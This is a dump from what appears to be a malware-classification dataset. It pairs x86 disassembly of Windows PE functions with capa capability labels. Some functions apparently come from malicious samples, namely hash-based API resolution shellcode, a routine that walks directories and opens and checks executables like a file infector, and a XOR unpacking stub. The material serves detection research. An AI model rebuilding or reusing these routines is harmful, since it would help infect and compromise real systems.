joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40adb0
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x39c]
sub esp, 0x41c
mov ecx, dword [ebp + 0x3a4]
cmp ecx, dword [0x4120c8]
mov eax, dword [0x40ebe8]
push ebx
push esi
mov dword [ebp + 0x398], eax
push edi
jae 0x40af76
mov eax, ecx
sar eax, 5
lea ebx, [eax*4 + 0x4120e0]
mov eax, dword [ebx]
mov esi, ecx
and esi, 0x1f
shl esi, 3
mov al, byte [eax + esi + 4]
test al, 1
mov dword [ebp - 0x80], ebx
je 0x40af76
xor edi, edi
cmp dword [ebp + 0x3ac], edi
mov dword [ebp - 0x74], edi
mov dword [ebp - 0x7c], edi
jne 0x40ae1a
xor eax, eax
jmp 0x40af8a
test al, 0x20
je 0x40ae2b
push 2
push edi
push edi
push ecx
call fcn.0040b2da
add esp, 0x10
mov eax, dword [ebx]
add eax, esi
test byte [eax + 4], 0x80
je 0x40af00
cmp dword [ebp + 0x3ac], edi
mov eax, dword [ebp + 0x3a8]
mov dword [ebp - 0x70], eax
mov dword [ebp + 0x3a4], edi
jbe 0x40af47
mov ecx, dword [ebp - 0x70]
sub ecx, dword [ebp + 0x3a8]
lea eax, [ebp - 0x6c]
cmp ecx, dword [ebp + 0x3ac]
jae 0x40ae8d
mov edx, dword [ebp - 0x70]
inc dword [ebp - 0x70]
mov dl, byte [edx]
inc ecx
cmp dl, 0xa
jne 0x40ae7e
inc dword [ebp - 0x7c]
mov byte [eax], 0xd
inc eax
inc edi
mov ebx, dword [ebp - 0x80]
mov byte [eax], dl
inc eax
inc edi
cmp edi, 0x400
jl 0x40ae60
mov edi, eax
lea eax, [ebp - 0x6c]
sub edi, eax
push 0
lea eax, [ebp - 0x78]
push eax
push edi
lea eax, [ebp - 0x6c]
push eax
mov eax, dword [ebx]
push dword [eax + esi]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40aecd
mov eax, dword [ebp - 0x78]
add dword [ebp - 0x74], eax
cmp eax, edi
jl 0x40aed9
mov eax, dword [ebp - 0x70]
sub eax, dword [ebp + 0x3a8]
xor edi, edi
cmp eax, dword [ebp + 0x3ac]
jb 0x40ae54
jmp 0x40aedb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
xor edi, edi
mov eax, dword [ebp - 0x74]
cmp eax, edi
jne 0x40af71
cmp dword [ebp + 0x3a4], edi
je 0x40af47
push 5
pop eax
cmp dword [ebp + 0x3a4], eax
jne 0x40af39
mov dword [0x410c44], eax
jmp 0x40af7d
push edi
lea ecx, [ebp - 0x78]
push ecx
push dword [ebp + 0x3ac]
push dword [ebp + 0x3a8]
push dword [eax]
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x40af2b
mov eax, dword [ebp - 0x78]
mov dword [ebp + 0x3a4], edi
mov dword [ebp - 0x74], eax
jmp 0x40aedb
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp + 0x3a4], eax
jmp 0x40aedb
push dword [ebp + 0x3a4]
call fcn.0040b1c5
pop ecx
jmp 0x40af87
mov eax, dword [ebx]
test byte [eax + esi + 4], 0x40
je 0x40af5f
mov eax, dword [ebp + 0x3a8]
cmp byte [eax], 0x1a
je 0x40ae13
mov dword [0x410c40], 0x1c
mov dword [0x410c44], edi
jmp 0x40af87
sub eax, dword [ebp - 0x7c]
jmp 0x40af8a
and dword [0x410c44], 0
mov dword [0x410c40], 9
or eax, 0xffffffff
mov ecx, dword [ebp + 0x398]
pop edi
pop esi
pop ebx
call fcn.0040653a
add ebp, 0x39c
leave
ret
Function at 0x47b0a5
Capabilities:
Resolve function by hash

Disassembly:
mov eax, dword fs:[0x30]
test eax, eax
js 0x47b0bb
mov eax, dword [eax + 0xc]
mov esi, dword [eax + 0x1c]
lodsd eax, dword [esi]
mov ebx, dword [eax + 8]
jmp 0x47b0c4
mov eax, dword [eax + 0x34]
mov ebx, dword [eax + 0xb8]
pop esi
add esi, 3
push ebx
mov edx, 0xec0e4e8e
call esi
push eax
mov edx, 0x7c0dfcaa
call esi
push eax
push edi
mov edx, 0x4ee4a045
call esi
xor edx, edx
push edx
push 0x6d756369
push 0x6c656167
push esp
push edx
push edx
call eax
push eax
mov edx, 0x75da1966
call esi
call eax
xchg edi, eax
mov edx, 0xffd97fb
call esi
call eax
cmp edi, 0xb7
jne 0x47b113
mov esp, ebp
popal
ret
call fcn.0047b134
sti
xchg edi, eax
std
pcmpeqd mm5, qword [ebp - 0x50]
inc ebp
jb 0x47b120
mov bl, 0x16
mov eax, dword [0xd2d83d6a]
invalid

Function at 0x47b76f
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x47b788
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x47b796
dec eax
jmp 0x47b796
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x47b7a0
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x47b827
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x47b7de
cmp byte [ebx], 0x2e
je 0x47b80e
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.0047b76f
pop esi
jmp 0x47b80e
push ebx
call dword [edi + 0x30]
push eax
call 0x47b7ed
js 0x47b851
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x47b80e
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.0047b829
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x47b7bd
push esi
call dword [edi + 0x40]
leave
ret
jae 0x47b8be
jb 0x47b8c3
insb byte es:[edi], dx
js 0x47b8bf
invalid
Function at 0x47b7a0
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
push edx
push ebx
call dword [edi + 0x30]
push edi
push eax
or esi, esi
jne 0x47b788
pop eax
cmp byte [ebx + eax - 1], 0x5c
jne 0x47b796
dec eax
jmp 0x47b796
push esi
call dword [edi + 0x30]
xchg ecx, eax
pop eax
lea edi, [ebx + eax]
add eax, ecx
inc ecx
rep movsb byte es:[edi], byte [esi]
call 0x47b7a0
pop esp
sub ch, byte [esi]
sub al, byte [eax]
pop esi
lea edi, [ebx + eax]
push edi
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
pop esi
inc esi
pop edi
push ebx
push esi
push dword [ebp - 4]
push ebx
call dword [edi + 0x38]
mov byte [esi], 0
cmp eax, 0xffffffff
je 0x47b827
mov esi, eax
mov ebx, dword [ebp - 4]
test byte [ebx], 0x10
lea ebx, [ebx + 0x2c]
je 0x47b7de
cmp byte [ebx], 0x2e
je 0x47b80e
push esi
mov edx, dword [ebp - 4]
mov esi, ebx
mov ebx, dword [ebp - 8]
call fcn.0047b76f
pop esi
jmp 0x47b80e
push ebx
call dword [edi + 0x30]
push eax
call 0x47b7ed
js 0x47b851
add byte [ebp + 0x51fc034c], cl
call dword [edi + 0x34]
or eax, eax
pop ecx
jne 0x47b80e
push esi
push edi
mov esi, ebx
mov edi, dword [ebp - 0xc]
inc ecx
rep movsb byte es:[edi], byte [esi]
pop edi
mov eax, dword [ebp - 8]
call fcn.0047b829
pop esi
mov ebx, dword [ebp - 0xc]
mov byte [ebx], 0
push dword [ebp - 4]
push esi
push 1
call dword [edi]
call dword [edi + 0x3c]
or eax, eax
jne 0x47b7bd
push esi
call dword [edi + 0x40]
leave
ret
jae 0x47b8be
jb 0x47b8c3
insb byte es:[edi], dx
js 0x47b8bf
invalid

Function at 0x47b829
Capabilities:
Enumerate pe sections

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
xor edx, edx
push edx
push edx
push 3
push edx
push 1
push 0xc0000000
push eax
mov esi, eax
push esi
call dword [edi + 0x30]
lea esi, [esi + eax - 0xc]
push esi
call fcn.0047b85b
outsb dx, byte [esi]
je 0x47b8c0

Function at 0x47b85b
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
call dword [edi + 0x34]
or eax, eax
jne 0x47b864
leave
call dword [edi + 0x44]
mov ebx, eax
inc ebx
jne 0x47b876
dec ebx
push 0x40
pop esi
sub esp, esi
mov edx, esp
push 0
push esp
push esi
push edx
push ebx
call dword [edi + 0x48]
cmp dword [esp - 4], esi
jne 0x47b86c
cmp word [esp], 0x5a4d
jne 0x47b86c
cmp byte [esp + 0x32], 0x56
je 0x47b86c
push eax
add esp, esi
pop esi
mov dword [ebp - 0x1c], esi
push 0
push 0
push esi
push ebx
call dword [edi + 0x50]
inc eax
je 0x47b86c
sub esp, 0x58
mov edx, esp
push 0
push esp
push 0x58
push edx
push ebx
call dword [edi + 0x48]
Function at 0x5f810fb9
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.5f810385
add esp, 0xc
mov dword [ebp - 0x39c], eax
call fcn.5f8103c0
mov esi, dword [ebx]
adc al, 8
and byte [ebp - 0x514], 0
and byte [ebp - 0x513], 0
mov byte [ebp - 0x512], 0xe3
and byte [ebp - 0x511], 0
mov byte [ebp - 0x510], 0x5b
mov byte [ebp - 0x50f], 0x79
mov byte [ebp - 0x50e], 0x68
mov byte [ebp - 0x50d], 0x5a
mov byte [ebp - 0x50c], 0x75
mov byte [ebp - 0x50b], 0x70
mov byte [ebp - 0x50a], 0x79
mov byte [ebp - 0x509], 0x4f
mov byte [ebp - 0x508], 0x75
mov byte [ebp - 0x507], 0x66
mov byte [ebp - 0x506], 0x79
mov byte [ebp - 0x505], 0x1c
lea eax, [ebp - 0x514]
push eax
call fcn.5f8103d0
pop ecx
push eax
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.5f810385
add esp, 0xc
mov dword [ebp - 0x33c], eax
call fcn.5f8103c0
ror byte [0x468ad2f], 1
add dword [eax], eax
add byte [ebp - 0x3337b], cl
call dword [eax - 1]
jne 0x5f811089
call dword [ebp - 0x538]
mov dword [ebp - 0x398], eax
mov byte [ebp - 0x544], 1
cmp dword [ebp - 0x398], 0
je 0x5f8110b4
push 0xc6fffffc
test dword [edx + edi*8 - 0x7cfe0001], edi
mov ebp, 0xfffffc68
add byte [edi + edx - 0x7d], dh
mov ebp, 0xfffffc68
add byte [edi], cl
test ah, dl
add dword [eax], eax
add byte [ebx + 0xf010c7d], al
test dl, cl
add dword [eax], eax
add byte [ebx + 0xf080c7d], al
test dword [eax - 0x7fffffff], ecx
movsd dword es:[edi], dword [esi]
dec eax
stc
invalid
cmp dword [ebp - 0x398], 0
je 0x5f81127e
cmp dword [ebp + 0xc], 1
je 0x5f81127e
cmp dword [ebp + 0xc], 8
jne 0x5f811246
and byte [ebp - 0x6b8], 0
and byte [ebp - 0x6b7], 0
mov byte [ebp - 0x6b6], 0x9b
and byte [ebp - 0x6b5], 0
mov byte [ebp - 0x6b4], 0x33
mov byte [ebp - 0x6b3], 0x16
mov byte [ebp - 0x6b2], 0xd
mov byte [ebp - 0x6b1], 0x10
mov byte [ebp - 0x6b0], 1
mov byte [ebp - 0x6af], 0x34
mov byte [ebp - 0x6ae], 0x16
mov byte [ebp - 0x6ad], 0xb
mov byte [ebp - 0x6ac], 7
mov byte [ebp - 0x6ab], 1
invalid

Function at 0x5f81430d
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, edx
mov ebx, ecx
jmp 0x5f814331
mov eax, dword [ebp - 4]
cmp eax, esi
je 0x5f814387
test eax, eax
je 0x5f814380
cmp eax, esi
ja 0x5f814380
sub esi, eax
add edi, eax
and dword [ebp - 4], 0
lea eax, [ebp - 4]
push 0
push eax
push esi
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
jne 0x5f81431e
call fcn.5f814d33
mov esi, eax
test esi, esi
jns 0x5f814387
lfence
mov eax, dword [0x5f831160]
cmp eax, 0x5f831160
je 0x5f81437c
test byte [eax + 0x1c], 1
je 0x5f81437c
push esi
push dword [eax + 0x14]
mov edx, 0x5f80876c
push dword [eax + 0x10]
push 0xf
pop ecx
call fcn.5f80a336
mov eax, esi
jmp 0x5f814389
mov esi, 0x8000ffff
jmp 0x5f81434f
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x5f814bdc
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ecx
push esi
push edi
mov edi, edx
mov esi, ecx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
jne 0x5f814c31
call fcn.5f814d33
mov esi, eax
cmp esi, 0x80070002
je 0x5f814c2d
cmp esi, 0x80070003
je 0x5f814c2d
mov eax, dword [0x5f831160]
cmp eax, 0x5f831160
je 0x5f814c2d
test byte [eax + 0x1c], 1
je 0x5f814c2d
push esi
push edi
push dword [eax + 0x14]
mov edx, 0x5f8087e8
push dword [eax + 0x10]
push 0x2e
pop ecx
call fcn.5f80bc6b
mov eax, esi
jmp 0x5f814c35
mov dword [esi], eax
xor eax, eax
pop edi
pop esi
pop ecx
ret

Function at 0x5f815d02
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
mov eax, ecx
mov ebx, edx
mov ecx, dword [ebp + 0xc]
push esi
push edi
xor edi, edi
mov dword [ebp - 4], eax
mov dword [ecx], edi
mov ecx, dword [ebp + 0x10]
push ebx
push eax
mov dword [ecx], edi
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
jne 0x5f815d5f
call fcn.5f814d33
mov esi, eax
mov ecx, dword [0x5f831160]
cmp ecx, 0x5f831160
je 0x5f815d58
test byte [ecx + 0x1c], 1
je 0x5f815d58
push esi
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0x11
mov edx, 0x5f80885c
pop ecx
call fcn.5f80a336
mov eax, esi
jmp 0x5f815e73
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov esi, eax
test esi, esi
jne 0x5f815d92
call fcn.5f814d33
mov esi, eax
mov ecx, dword [0x5f831160]
cmp ecx, 0x5f831160
je 0x5f815d58
test byte [ecx + 0x1c], 1
je 0x5f815d58
push esi
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0x12
jmp 0x5f815d4d
push ebx
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_SizeofResource]
test eax, eax
jne 0x5f815dc6
call fcn.5f814d33
mov esi, eax
mov ecx, dword [0x5f831160]
cmp ecx, 0x5f831160
je 0x5f815d58
test byte [ecx + 0x1c], 1
je 0x5f815d58
push esi
push dword [ecx + 0x14]
push dword [ecx + 0x10]
push 0x13
jmp 0x5f815d4d
lea ecx, [eax + esi]
cmp esi, ecx
jbe 0x5f815df0
mov eax, dword [0x5f831160]
cmp eax, 0x5f831160
je 0x5f815e5d
test byte [eax + 0x1c], 1
je 0x5f815e5d
push dword [ebp + 8]
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x14
jmp 0x5f815e52
mov edx, dword [ebp + 8]
and edx, 0xf
jbe 0x5f815e0a
cmp esi, ecx
jae 0x5f815e0e
movzx eax, word [esi]
lea esi, [esi + eax*2]
add esi, 2
inc edi
cmp edi, edx
jb 0x5f815df8
cmp esi, ecx
jb 0x5f815e2d
mov eax, dword [0x5f831160]
cmp eax, 0x5f831160
je 0x5f815e5d
test byte [eax + 0x1c], 1
je 0x5f815e5d
push dword [ebp + 8]
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x15
jmp 0x5f815e52
movzx eax, word [esi]
test ax, ax
jne 0x5f815e64
mov eax, dword [0x5f831160]
cmp eax, 0x5f831160
je 0x5f815e5d
test byte [eax + 0x1c], 2
je 0x5f815e5d
push dword [ebp + 8]
push dword [eax + 0x14]
push dword [eax + 0x10]
push 0x16
mov edx, 0x5f80885c
pop ecx
call fcn.5f80a336
mov eax, 0x80070714
jmp 0x5f815e73
mov ecx, dword [ebp + 0xc]
mov dword [ecx], eax
lea eax, [esi + 2]
mov ecx, dword [ebp + 0x10]
mov dword [ecx], eax
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret 0xc
Function at 0x5f8231ab
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
push esi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
lea edx, [ecx + 0x18]
add edx, eax
movzx eax, word [ecx + 6]
imul esi, eax, 0x28
add esi, edx
cmp edx, esi
je 0x5f8231e8
mov ecx, dword [ebp + 0xc]
cmp ecx, dword [edx + 0xc]
jb 0x5f8231e1
mov eax, dword [edx + 8]
add eax, dword [edx + 0xc]
cmp ecx, eax
jb 0x5f8231ed
add edx, 0x28
cmp edx, esi
jne 0x5f8231d2
xor eax, eax
pop esi
pop ebp
ret
mov eax, edx
jmp 0x5f8231ea

Function at 0x5f826105
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5f8069d4
push 0x5f8069cc
push 0x5f805580
push 0
call fcn.5f826083
mov esi, eax
add esp, 0x10
test esi, esi
je 0x5f82613a
push dword [ebp + 8]
mov ecx, esi
call dword [0x5f833194]
call esi
pop esi
pop ebp
ret
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsAlloc]

Function at 0x5f82617f
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5f8069e4
push 0x5f8069dc
push 0x5f8055a4
push 2
call fcn.5f826083
add esp, 0x10
mov esi, eax
push dword [ebp + 8]
test esi, esi
je 0x5f8261b3
mov ecx, esi
call dword [0x5f833194]
call esi
jmp 0x5f8261b9
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
pop esi
pop ebp
ret

Function at 0x5f8261bc
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x5f8069ec
push 0x5f8069e4
push 0x5f8055b8
push 3
call fcn.5f826083
add esp, 0x10
mov esi, eax
push dword [ebp + 0xc]
push dword [ebp + 8]
test esi, esi
je 0x5f8261f3
mov ecx, esi
call dword [0x5f833194]
call esi
jmp 0x5f8261f9
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop esi
pop ebp
ret

Function at 0x5f82e320
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x5f82e35e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x5f82e356
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x5f82e360
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x5f82e346
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x5f82e430
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x5f82e461
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x5f82e461
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x5f82e461
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret
Function at 0x40493e
Capabilities:
Delete directory
Get common file path
Get file attributes
Manipulate console buffer

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc48
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [eax]
mov eax, dword [eax + 4]
push esi
xor esi, esi
cmp dword [0x2fa7ae8], 0x594
push edi
mov dword [ebp - 8], eax
jne 0x404984
push 0x404778
push 0x404788
call dword [sym.imp.KERNEL32.dll_SetVolumeMountPointW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_OpenFileMappingW]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EndUpdateResourceA]
mov eax, dword [0x80e488]
mov dword [ebp - 0x24], eax
mov eax, dword [0x80e48c]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], esi
call fcn.0040492d
mov eax, dword [0x80e490]
add dword [ebp - 0x10], 0x23f
mov dword [ebp - 0x28], eax
mov eax, dword [0x80e494]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x18], 0x20
mov dword [ebp - 0xc], 2
add dword [ebp - 0xc], 3
mov eax, ebx
shl eax, 4
cmp dword [0x2fa7ae8], 0xc
mov dword [ebp - 4], eax
jne 0x404a1f
push esi
lea eax, [ebp - 0x448]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
push esi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
mov word [ebp - 0x1c], ax
lea edi, [ebp - 0x1a]
stosw word es:[edi], ax
lea eax, [ebp - 0x30]
push eax
push dword [ebp - 0x1c]
lea eax, [ebp - 0xc48]
push esi
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
lea eax, [ebp - 0x34]
push eax
push esi
lea eax, [ebp - 0x48]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
mov eax, dword [ebp - 0x28]
add dword [ebp - 4], eax
mov eax, dword [0x2fa7ae8]
cmp eax, 0xfa9
jne 0x404a3b
mov dword [0x2fa7084], 0xedeb2e40
cmp eax, 0x3eb
jne 0x404a48
mov dword [0x2fa6a34], esi
mov ecx, dword [ebp - 0xc]
mov edi, dword [ebp - 0x10]
mov edx, ebx
shr edx, cl
lea eax, [edi + ebx]
mov dword [ebp - 0x14], eax
mov dword [0x2fa7080], 0xf4ea3dee
add edx, dword [ebp - 0x20]
mov eax, dword [ebp - 0x14]
xor dword [ebp - 4], eax
xor edx, dword [ebp - 4]
cmp dword [0x2fa7ae8], 0x213
mov dword [ebp - 0x14], edx
jne 0x404a84
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov eax, dword [ebp - 0x14]
add dword [ebp - 8], 0x64
sub dword [ebp - 8], eax
sub dword [ebp - 8], 0x64
mov eax, dword [ebp - 8]
shl eax, 4
mov dword [ebp - 4], eax
mov eax, dword [ebp - 0x24]
add dword [ebp - 4], eax
mov edx, dword [ebp - 8]
mov ecx, dword [ebp - 0xc]
mov eax, edx
shr eax, cl
add edi, edx
add eax, dword [ebp - 0x2c]
xor eax, edi
xor dword [ebp - 4], eax
push dword [ebp - 4]
mov eax, ebx
call fcn.00404934
mov ebx, eax
lea eax, [ebp - 0x10]
call fcn.00404926
dec dword [ebp - 0x18]
jne 0x4049bd
cmp dword [0x2fa7ae8], 0xa6d
mov edi, dword [ebp + 8]
mov dword [edi], ebx
jne 0x404aee
push esi
push esi
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceA]
mov edx, dword [ebp - 8]
mov dword [edi + 4], edx
pop edi
pop esi
pop ebx
leave
ret 4
Function at 0x404e6b
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x40c
push ebx
push esi
xor esi, esi
cmp dword [0x2fa7ae8], 0x400
push edi
jne 0x404ed1
push esi
call dword [sym.imp.KERNEL32.dll__lclose]
push esi
push esi
call fcn.0040529d
push esi
push esi
call fcn.0040529d
push esi
push esi
call fcn.00405691
add esp, 0x10
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.00404903
fstp st(0)
push esi
call fcn.004058b4
pop ecx
push esi
push esi
call fcn.00405224
mov eax, esp
mov dword [eax], esi
mov dword [eax + 4], esi
call fcn.004048e0
fstp st(0)
mov eax, dword [0x80eb14]
mov dword [0x2fa7ae8], eax
mov eax, dword [0x80eaec]
mov dword [0x2fa7aec], eax
call fcn.00404c6b
xor ebx, ebx
mov edi, 0x2b259d
call dword [sym.imp.KERNEL32.dll_GetTickCount]
lea eax, [esp + 0x10]
push eax
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_PeekNamedPipe]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp ebx, edi
jle 0x404f1d
cmp dword [esp + 0x14], 0x785074d5
jne 0x404f26
inc ebx
cmp ebx, 0x1c1b
jl 0x404ef1
xor ebx, ebx
push esi
lea eax, [esp + 0x1c]
push eax
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatA]
push 0x4047f4
call dword [sym.imp.KERNEL32.dll_GlobalFindAtomW]
cmp ebx, edi
jle 0x404f51
cmp dword [esp + 0x14], 0x785074d5
jne 0x404f5a
inc ebx
cmp ebx, 0x11915
jl 0x404f28
mov eax, dword [0x2fa6a38]
mov dword [0x2fa707c], eax
call eax
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret 0x10

Function at 0x4069e5
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x80d1e8]
jne 0x4069ef
repz ret
jmp fcn.0040c40b
Function at 0x40f5e7
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00407934
and dword [ebp - 4], 0
cmp dword [0x80f75c], 0
mov ebx, eax
jne 0x40f698
push 0x4046f4
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40f749
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x4046e8
push edi
call esi
test eax, eax
je 0x40f749
push eax
call fcn.004078c2
mov dword [esp], 0x4046d8
push edi
mov dword [0x80f75c], eax
call esi
push eax
call fcn.004078c2
mov dword [esp], 0x4046c4
push edi
mov dword [0x80f760], eax
call esi
push eax
call fcn.004078c2
mov dword [esp], 0x4046a8
push edi
mov dword [0x80f764], eax
call esi
push eax
call fcn.004078c2
pop ecx
mov dword [0x80f76c], eax
test eax, eax
je 0x40f698
push 0x404690
push edi
call esi
push eax
call fcn.004078c2
pop ecx
mov dword [0x80f768], eax
mov eax, dword [0x80f768]
cmp eax, ebx
je 0x40f6f0
cmp dword [0x80f76c], ebx
je 0x40f6f0
push eax
call fcn.0040793d
push dword [0x80f76c]
mov esi, eax
call fcn.0040793d
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40f6f0
test edi, edi
je 0x40f6f0
call esi
test eax, eax
je 0x40f6e7
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40f6e7
test byte [ebp - 0xc], 1
jne 0x40f6f0
or dword [ebp + 0x10], 0x200000
jmp 0x40f729
mov eax, dword [0x80f760]
cmp eax, ebx
je 0x40f729
push eax
call fcn.0040793d
pop ecx
test eax, eax
je 0x40f729
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40f729
mov eax, dword [0x80f764]
cmp eax, ebx
je 0x40f729
push eax
call fcn.0040793d
pop ecx
test eax, eax
je 0x40f729
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x80f75c]
call fcn.0040793d
pop ecx
test eax, eax
je 0x40f749
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40f74b
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
mov eax, section..text
nop
nop
nop
nop
push 4
nop
nop
nop
nop
nop
pop edi
nop
nop
nop
nop
cmp eax, 0
nop
nop
nop
nop
je 0x42e072
mov ebx, 0x407ef8
nop
nop
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
push eax
nop
nop
nop
nop
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
div edi
nop
xchg ecx, eax
nop
nop
nop
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x503014eb
xor dword [eax], esi
nop
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
nop
nop
loop 0x42e060
mov eax, section..data
nop
nop
nop
cmp eax, 0
nop
nop
je 0x42e0d2
nop
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, ebx
nop
nop
nop
nop
sub ecx, eax
nop
nop
nop
nop
nop
nop
nop
xor edx, edx
nop
nop
nop
nop
nop
nop
push eax
mov eax, ecx
nop
nop
nop
nop
nop
nop
nop
nop
div edi
nop
nop
nop
nop
xchg ecx, eax
nop
nop
nop
pop eax
nop
nop
nop
nop
mov esi, 0x3f096344
nop
xor dword [eax], esi
nop
nop
nop
add eax, edi
nop
nop
nop
nop
nop
nop
